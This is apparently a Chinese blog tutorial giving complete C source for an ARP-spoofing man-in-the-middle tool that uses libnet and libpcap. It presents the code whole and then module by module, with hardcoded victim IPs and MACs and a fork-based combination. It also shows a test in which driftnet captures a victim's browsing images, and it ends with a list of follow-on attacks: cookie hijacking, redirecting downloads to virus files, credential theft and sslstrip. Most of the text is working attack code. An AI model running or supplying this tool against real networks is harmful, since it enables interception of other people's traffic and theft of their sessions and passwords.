https://www.cnblogs.com/SwordTao/p/3714832.html
这是本文版本v1.1全部代码,添加了更充分的错误显示信息和使用方法:
#include<unistd.h>
#include<pcap.h>
#include<time.h>
#include<stdio.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
struct ethernet_ip_hdr
{
uint8_t ether_dhost[6];/* destination ethernet address */
uint8_t ether_shost[6];/* source ethernet address */
uint16_t ether_type; /* protocol */
uint8_t ip_ver_hdrlen;
uint8_t ip_tos;
uint16_t ip_total_len; /* total length */
uint16_t ip_id; /* identification */
uint16_t ip_frag;
uint8_t ip_ttl; /* time to live */
uint8_t ip_proto; /* protocol */
uint16_t ip_hdrCRC; /* checksum */
uint8_t ip_src[4];
uint8_t ip_dst[4];
};
struct MITM_para
{
const uint8_t * ip_A;
const uint8_t * mac_A;
const uint8_t * ip_B;
const uint8_t * mac_B;
const uint8_t * mac_M;
const char * BPF_filterStr;
const char * devMitm;
};
int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac,
const unsigned char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
)
{
static char padPtr[18];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
//printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
//printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 2;
}
p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
18,//payload length
net_t,//libnet context
0//0 stands to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_arp error:\n");
printf("ForgeAndSendArp: %s",net_t->err_buf);
libnet_destroy(net_t);
return 3;
}
p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
0,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
printf("ForgeAndSendArp: %s",net_t->err_buf);
libnet_destroy(net_t);
return 4;
}
int res;
i=0;
for(;i<sendTimes;i++)
if(-1 == (res = libnet_write(net_t)))
{
printf("A libnet_write error!\n");
printf("ForgeAndSendArp: %s",net_t->err_buf);
libnet_destroy(net_t);
return 5;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 6;
}
void ArpSpoof(
const uint8_t * ip_A, const uint8_t * mac_A,
const uint8_t * ip_B, const uint8_t * mac_B,
const uint8_t * mac_M,
const char * devMitm
)
{
//
/*
arp-reply: M->A B is at M
arp-reply: M->B A is at M
*/
while(1)
{
usleep(500000);
ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
usleep(500000);
ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
}
}
int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
const unsigned char * dst_mac,const unsigned char * src_mac,
const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
)
{
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
//init the libnet context structure
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 1;
}
//build the ethernet packet
p_tag = libnet_build_ethernet(//create ethernet header
dst_mac,//dest mac addr
src_mac,//source mac addr
protoType,//protocol type
padPtr,//payload
padLength,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);
goto FAIL;
}
for(i=0;i<sendTimes;i++)
if(-1 == libnet_write(net_t))
{
printf("B libnet_write error!\n");
printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);
goto FAIL;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 1;
}
void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int i;
const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
unsigned int sendTimes=1;
const uint16_t etherProto=0x0800;
const char * dev=mitmParaPtr->devMitm;
const uint8_t * ether_Ahost=mitmParaPtr->mac_A;
const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
const uint8_t * ether_Mhost=mitmParaPtr->mac_M;
const uint8_t * A_IP=mitmParaPtr->ip_A;
const uint8_t * B_IP=mitmParaPtr->ip_B;
const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet;
if (
(0==memcmp(hdrPtr->ether_shost,ether_Ahost,6))
//&&
//(0==memcmp(hdrPtr->ip_dst,B_IP,4))
)
{ // packet: A send to B
printf(" :) ether src A && ip dst B\n");
BuildAndSendEthernetPacket(dev,sendTimes,
ether_Bhost,ether_Mhost,
//dst_mac, src_mac,
etherProto,packet+14,pkthdr->len-14
);
}
else if (
(0==memcmp(hdrPtr->ether_shost,ether_Bhost,6))
//&&
//(0==memcmp(hdrPtr->ip_dst,A_IP,4))
)
{ // packet: B send to A
printf("ether src B && ip dst A\n");
BuildAndSendEthernetPacket(dev,sendTimes,
ether_Ahost,ether_Mhost,
//dst_mac, src_mac,
etherProto,packet+14,pkthdr->len-14
);
}
}
int mitm_forwarder(
const uint8_t * ip_A, const uint8_t * mac_A,
const uint8_t * ip_B, const uint8_t * mac_B,
const uint8_t * mac_M,const char * BPF_filterStr,
const char * devMitm
)
//BPF_filterStr: ether dst mac_M and ip
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter;
struct MITM_para mitmPara;
mitmPara.ip_A=ip_A;
mitmPara.mac_A=mac_A;
mitmPara.ip_B=ip_B;
mitmPara.mac_B=mac_B;
mitmPara.mac_M=mac_M;
mitmPara.BPF_filterStr=BPF_filterStr;
mitmPara.devMitm=devMitm;
/* get a device */
devStr = pcap_lookupdev(errBuf);
if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit(1);
}
/* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit(1);
}
// ether dst 00:11:22:33:44:55 and ip
pcap_compile( device,&filter,BPF_filterStr,1,0 );
pcap_setfilter(device ,&filter );
/* wait loop forever */
pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);
pcap_close(device);
return 0;
}
/*
gw kali
192.168.1.1 192.168.1.108
14:E6:E4:94:B4:D6 00:7B:05:03:8E:90
A B
00:11:22:33:44:55
M
被攻击者:
ip_A mac_A
ip_B mac_B
中间人:
mac_B
中间人所选用的网络设备:
devMitm : 如 "eth0"
中间人所用BPF过滤规则:
BPF_filterStr : 格式是 "ether dst 00:11:22:33:44:55 and ip "
其中 00:11:22:33:44:55 是中间人eth0的mac,只需要按情况替换之即可
建议使用形如 " nmap -sP 192.168.0.0/24 " 的命令扫描您所在的局域网,以搜集必要的信息。
实验时,A可选用网关,B为局域网内一普通victim主机,M为您的主机,这样会更加清晰。
*/
void main()
{
uint8_t ip_A[4]={172,16,0,1};
uint8_t mac_A[6]={0x00,0x17,0x31,0x58,0xac,0x85};
uint8_t ip_B[4]={172,16,31,99};
uint8_t mac_B[6]={0x00,0x11,0x22,0x33,0x44,0x56};
uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
//BPF_filterStr: ether dst mac_M and ip
char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
char * devMitm="eth0";
//local
pid_t sonPid;
sonPid=fork();
if( sonPid==-1 )
{//failure
printf("failure:mitm fork error :( \n");
}
else if(sonPid==0)
{//child
printf("child : pid:%d:)\n",getpid());
ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm );
}
else
{//parent
printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
sleep(2);
mitm_forwarder(
ip_A,mac_A,
ip_B,mac_B,
mac_M,BPF_filterStr,
devMitm
);
}
}
下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议,如需要,请看文章《ARP数据包伪造》)
上图便是局域网中的中间人攻击的大概思想,下面给出具体的实现方法:
(备注:右键另存为 大图较清晰)
实现”中间人”的情景,有两个关键点:
· ARP欺骗:目的是将通信双方的数据包流经中间人。
· 数据包分析、篡改与转发:维持通信双发的通信链接不至于中断,以免对方警觉,这样才能顺利进行下一步的行动。
第一步:ArpSpoof
(备注:右键另存为 大图较清晰)
ArpSpoof模块的源码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#include <unistd.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
)
{
static char padPtr[18];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 2;
}
p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
18,//payload length
net_t,//libnet context
0//0 stands to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return 3;
}
p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
0,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return 4;
}
int res;
i=0;
for(;i<sendTimes;i++)
if(-1 == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return 5;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 6;
}
/*
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
)
*/
void ArpSpoof(
const uint8_t * ip_A, const uint8_t * mac_A,
const uint8_t * ip_B, const uint8_t * mac_B,
const uint8_t * mac_M,
const char * devMitm
)
{
//
/*
arp-reply: M->A B is at M
arp-reply: M->B A is at M
*/
while(1)
{
usleep(500000);
ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
usleep(500000);
ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
}
/*
char * dev=devMitm;
unsigned char src_mac[6] ={ 0x11,0x11,0x11,0x11,0x11,0x11 };
unsigned char dst_mac[6] ={ 0x12,0x11,0x11,0x11,0x11,0x11 };
unsigned char src_ip[4]={11,22,11,11};
unsigned char dst_ip[4]={11,23,11,11};
printf(":)\n");
printf("%s\n",src_ip_str);
while(1)
ForgeAndSendArp(dev,src_mac,dst_mac,src_ip,dst_ip,1,3
);
*/
}
/*
gw kali
192.168.1.1 192.168.1.132
14:E6:E4:94:B4:D6 00:0C:29:A4:AC:26
A B
00:11:22:33:44:55
M
*/
void main()
{
uint8_t ip_A[4]={192,168,1,1};
uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
uint8_t ip_B[4]={192,168,1,108};
uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
char * devMitm="eth0";
while(1)
ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm );
}
/*
void ArpSpoof(
const uint8_t * ip_A, const uint8_t * mac_A,
const uint8_t * ip_B, const uint8_t * mac_B,
const uint8_t * mac_M,
const char * devMitm
)
*/
第二步:数据包分析、转发
这里仅转发IP数据包,于是,我们以较简单的icmp-request & icmp-reply 为例:
mitm-forwarder模块的源码如下:
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
struct ethernet_ip_hdr
{
uint8_t ether_dhost[6];/* destination ethernet address */
uint8_t ether_shost[6];/* source ethernet address */
uint16_t ether_type; /* protocol */
uint8_t ip_ver_hdrlen;
uint8_t ip_tos;
uint16_t ip_total_len; /* total length */
uint16_t ip_id; /* identification */
uint16_t ip_frag;
uint8_t ip_ttl; /* time to live */
uint8_t ip_proto; /* protocol */
uint16_t ip_hdrCRC; /* checksum */
uint8_t ip_src[4];
uint8_t ip_dst[4];
};
int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
const unsigned char * dst_mac,const unsigned char * src_mac,
const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
)
{
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
//init the libnet context structure
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 1;
}
//build the ethernet packet
p_tag = libnet_build_ethernet(//create ethernet header
dst_mac,//dest mac addr
src_mac,//source mac addr
protoType,//protocol type
padPtr,//payload
padLength,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
goto FAIL;
}
for(i=0;i<sendTimes;i++)
if(-1 == libnet_write(net_t))
{
printf("libnet_write error!\n");
goto FAIL;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 1;
}
struct MITM_para
{
const uint8_t * ip_A;
const uint8_t * mac_A;
const uint8_t * ip_B;
const uint8_t * mac_B;
const uint8_t * mac_M;
const char * BPF_filterStr;
const char * devMitm;
};
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int i;
const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
unsigned int sendTimes=1;
const uint16_t etherProto=0x0800;
const char * dev=mitmParaPtr->devMitm;
const uint8_t * ether_Ahost=mitmParaPtr->mac_A;
const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
const uint8_t * ether_Mhost=mitmParaPtr->mac_M;
const uint8_t * A_IP=mitmParaPtr->ip_A;
const uint8_t * B_IP=mitmParaPtr->ip_B;
const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet;
if (
(0==memcmp(hdrPtr->ether_shost,ether_Ahost,6))
//&&
//(0==memcmp(hdrPtr->ip_dst,B_IP,4))
)
{ // packet: A send to B
printf(" :) ether src A && ip dst B\n");
BuildAndSendEthernetPacket(dev,sendTimes,
ether_Bhost,ether_Mhost,
//dst_mac, src_mac,
etherProto,packet+14,pkthdr->len-14
);
}
else if (
(0==memcmp(hdrPtr->ether_shost,ether_Bhost,6))
//&&
//(0==memcmp(hdrPtr->ip_dst,A_IP,4))
)
{ // packet: B send to A
printf("ether src B && ip dst A\n");
BuildAndSendEthernetPacket(dev,sendTimes,
ether_Ahost,ether_Mhost,
//dst_mac, src_mac,
etherProto,packet+14,pkthdr->len-14
);
}
}
int mitm_forwarder(
const uint8_t * ip_A, const uint8_t * mac_A,
const uint8_t * ip_B, const uint8_t * mac_B,
const uint8_t * mac_M,const char * BPF_filterStr,
const char * devMitm
)
//BPF_filterStr: ether dst mac_M and ip
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter;
struct MITM_para mitmPara;
mitmPara.ip_A=ip_A;
mitmPara.mac_A=mac_A;
mitmPara.ip_B=ip_B;
mitmPara.mac_B=mac_B;
mitmPara.mac_M=mac_M;
mitmPara.BPF_filterStr=BPF_filterStr;
mitmPara.devMitm=devMitm;
/* get a device */
devStr = pcap_lookupdev(errBuf);
if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit(1);
}
/* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit(1);
}
// ether dst 00:11:22:33:44:55 and ip
pcap_compile( device,&filter,BPF_filterStr,1,0 );
pcap_setfilter(device ,&filter );
/* wait loop forever */
pcap_loop(device, -1, getPacket,( u_char * ) &mitmPara);
pcap_close(device);
return 0;
}
/*
int mitm_forwarder(
uint8_t * ip_A,uint8_t * mac_A,
uint8_t * ip_B,uint8_t * mac_B,
uint8_t * mac_M,char * BPF_filterStr,
char * devMitm
)
*/
void main()
{
uint8_t ip_A[4]={192,168,1,1};
uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
uint8_t ip_B[4]={192,168,1,108};
uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
//BPF_filterStr: ether dst mac_M and ip
char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
char * devMitm="eth0";
mitm_forwarder(
ip_A,mac_A,
ip_B,mac_B,
mac_M,BPF_filterStr,
devMitm
);
}
第三步:
借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:
void main()
{
uint8_t ip_A[4]={192,168,1,1};
uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
uint8_t ip_B[4]={192,168,1,108};
uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
//BPF_filterStr: ether dst mac_M and ip
char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
char * devMitm="eth0";
//local
pid_t sonPid;
sonPid=fork();
if( sonPid==-1 )
{//failure
printf("failure:mitm fork error :( \n");
}
else if(sonPid==0)
{//child
printf("child : pid:%d:)\n",getpid());
ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm );
}
else
{//parent
printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
sleep(2);
mitm_forwarder(
ip_A,mac_A,
ip_B,mac_B,
mac_M,BPF_filterStr,
devMitm
);
}
}
如此,最终代码如下:
#include<unistd.h>
#include<pcap.h>
#include<time.h>
#include<stdio.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
struct ethernet_ip_hdr
{
uint8_t ether_dhost[6];/* destination ethernet address */
uint8_t ether_shost[6];/* source ethernet address */
uint16_t ether_type; /* protocol */
uint8_t ip_ver_hdrlen;
uint8_t ip_tos;
uint16_t ip_total_len; /* total length */
uint16_t ip_id; /* identification */
uint16_t ip_frag;
uint8_t ip_ttl; /* time to live */
uint8_t ip_proto; /* protocol */
uint16_t ip_hdrCRC; /* checksum */
uint8_t ip_src[4];
uint8_t ip_dst[4];
};
struct MITM_para
{
const uint8_t * ip_A;
const uint8_t * mac_A;
const uint8_t * ip_B;
const uint8_t * mac_B;
const uint8_t * mac_M;
const char * BPF_filterStr;
const char * devMitm;
};
int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac,
const unsigned char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
)
{
static char padPtr[18];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
//printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
//printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 2;
}
p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
18,//payload length
net_t,//libnet context
0//0 stands to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return 3;
}
p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
0,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return 4;
}
int res;
i=0;
for(;i<sendTimes;i++)
if(-1 == (res = libnet_write(net_t)))
{
printf("A libnet_write error!\n");
libnet_destroy(net_t);
return 5;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 6;
}
void ArpSpoof(
const uint8_t * ip_A, const uint8_t * mac_A,
const uint8_t * ip_B, const uint8_t * mac_B,
const uint8_t * mac_M,
const char * devMitm
)
{
//
/*
arp-reply: M->A B is at M
arp-reply: M->B A is at M
*/
while(1)
{
usleep(500000);
ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
usleep(500000);
ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
}
}
int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
const unsigned char * dst_mac,const unsigned char * src_mac,
const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
)
{
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
//init the libnet context structure
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 1;
}
//build the ethernet packet
p_tag = libnet_build_ethernet(//create ethernet header
dst_mac,//dest mac addr
src_mac,//source mac addr
protoType,//protocol type
padPtr,//payload
padLength,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
goto FAIL;
}
for(i=0;i<sendTimes;i++)
if(-1 == libnet_write(net_t))
{
printf("B libnet_write error!\n");
goto FAIL;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 1;
}
void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int i;
const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
unsigned int sendTimes=1;
const uint16_t etherProto=0x0800;
const char * dev=mitmParaPtr->devMitm;
const uint8_t * ether_Ahost=mitmParaPtr->mac_A;
const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
const uint8_t * ether_Mhost=mitmParaPtr->mac_M;
const uint8_t * A_IP=mitmParaPtr->ip_A;
const uint8_t * B_IP=mitmParaPtr->ip_B;
const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet;
if (
(0==memcmp(hdrPtr->ether_shost,ether_Ahost,6))
//&&
//(0==memcmp(hdrPtr->ip_dst,B_IP,4))
)
{ // packet: A send to B
printf(" :) ether src A && ip dst B\n");
BuildAndSendEthernetPacket(dev,sendTimes,
ether_Bhost,ether_Mhost,
//dst_mac, src_mac,
etherProto,packet+14,pkthdr->len-14
);
}
else if (
(0==memcmp(hdrPtr->ether_shost,ether_Bhost,6))
//&&
//(0==memcmp(hdrPtr->ip_dst,A_IP,4))
)
{ // packet: B send to A
printf("ether src B && ip dst A\n");
BuildAndSendEthernetPacket(dev,sendTimes,
ether_Ahost,ether_Mhost,
//dst_mac, src_mac,
etherProto,packet+14,pkthdr->len-14
);
}
}
int mitm_forwarder(
const uint8_t * ip_A, const uint8_t * mac_A,
const uint8_t * ip_B, const uint8_t * mac_B,
const uint8_t * mac_M,const char * BPF_filterStr,
const char * devMitm
)
//BPF_filterStr: ether dst mac_M and ip
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter;
struct MITM_para mitmPara;
mitmPara.ip_A=ip_A;
mitmPara.mac_A=mac_A;
mitmPara.ip_B=ip_B;
mitmPara.mac_B=mac_B;
mitmPara.mac_M=mac_M;
mitmPara.BPF_filterStr=BPF_filterStr;
mitmPara.devMitm=devMitm;
/* get a device */
devStr = pcap_lookupdev(errBuf);
if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit(1);
}
/* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit(1);
}
// ether dst 00:11:22:33:44:55 and ip
pcap_compile( device,&filter,BPF_filterStr,1,0 );
pcap_setfilter(device ,&filter );
/* wait loop forever */
pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);
pcap_close(device);
return 0;
}
/*
gw kali
192.168.1.1 192.168.1.108
14:E6:E4:94:B4:D6 00:7B:05:03:8E:90
A B
00:11:22:33:44:55
M
*/
void main()
{
uint8_t ip_A[4]={192,168,1,1};
uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
uint8_t ip_B[4]={192,168,1,31};
uint8_t mac_B[6]={0x00,0x0C,0x29,0xA4,0xAC,0x26};
uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
//BPF_filterStr: ether dst mac_M and ip
char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
char * devMitm="eth0";
//local
pid_t sonPid;
sonPid=fork();
if( sonPid==-1 )
{//failure
printf("failure:mitm fork error :( \n");
}
else if(sonPid==0)
{//child
printf("child : pid:%d:)\n",getpid());
ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm );
}
else
{//parent
printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
sleep(2);
mitm_forwarder(
ip_A,mac_A,
ip_B,mac_B,
mac_M,BPF_filterStr,
devMitm
);
}
}
测试:
kali GW
Ubuntu
如上,Ubuntu作为中间人意图窃取kali与网关GW之间的通信信息,使用nmap搜集必要信息后,运行我们刚刚开发的工具,并运行如下命令:
~# driftnet -i eth0
而此时kali主机使用百度图片搜索“兰花”关键词,Ubuntu的driftnet有了如下输出:
中间人攻击的可怕之处:
1.中间人在所有的数据包中过滤Cookie关键字,获取服务器授予已登录用户的临时Cookie ID,以绕过服务器对此用户的密码认证;
2.中间人过滤有关下载路径的信息,篡改此数据包,将此路径指向预先准备好的病毒程序的互联网地址,以达到传播病毒程序体的目的;
3.截获已知认证协议的账户、密码;
4.使用sslstrip模型,绕过https的防御以截获账户、密码信息;
5.屏蔽或者重定向指定的网络地址;
……